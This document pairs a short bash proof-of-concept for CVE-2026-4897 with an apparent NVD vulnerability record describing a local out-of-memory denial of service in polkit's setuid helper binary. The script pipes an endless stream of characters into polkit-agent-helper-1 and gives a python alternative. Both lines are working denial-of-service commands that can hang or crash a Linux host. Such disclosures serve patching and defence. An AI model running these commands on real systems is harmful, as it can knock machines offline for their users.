CVE-2026-4897

#!/bin/bash # PoC for CVE-2026-4897: Trigger OOM in polkit-agent-helper-1 # This script sends an endless stream of 'A' characters to stdin # to simulate the unbounded input condition described in the vulnerability. echo "[*] Attempting to exploit CVE-2026-4897..." echo "[*] Sending excessive input to polkit-agent-helper-1..." # Use 'yes' to generate infinite input and pipe it to the vulnerable binary # Note: This may hang the terminal or crash the system due to OOM. yes "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | /usr/lib/polkit-1/polkit-agent-helper-1 # Alternative: Using python to generate large payload # python -c 'print("A"*10000000)' | /usr/lib/polkit-1/polkit-agent-helper-1

{"cve": {"id": "CVE-2026-4897", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:43.017", "lastModified": "2026-04-21T16:29:29.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in polkit. A local user can exploit this by providing a specially crafted, excessively long input to the `polkit-agent-helper-1` setuid binary via standard input (stdin). This unbounded input can lead to an out-of-memory (OOM) condition, resulting in a Denial of Service (DoS) for the system."}, {"lang": "es", "value": "Se encontró una vulnerabilidad en polkit. Un usuario local puede explotar esto al proporcionar una entrada especialmente diseñada y excesivamente larga al binario setuid 'polkit-agent-helper-1' a través de la entrada estándar (stdin). Esta entrada sin límites puede llevar a una condición de falta de memoria (OOM), lo que resulta en una denegación de servicio (DoS) para el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freedesktop:polkit:-:*:*:*:*:*:*:*", "matchCriteriaId": "56337B20-72E2-40A4-81E7-06B5CC48F039"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-4897", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451739", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}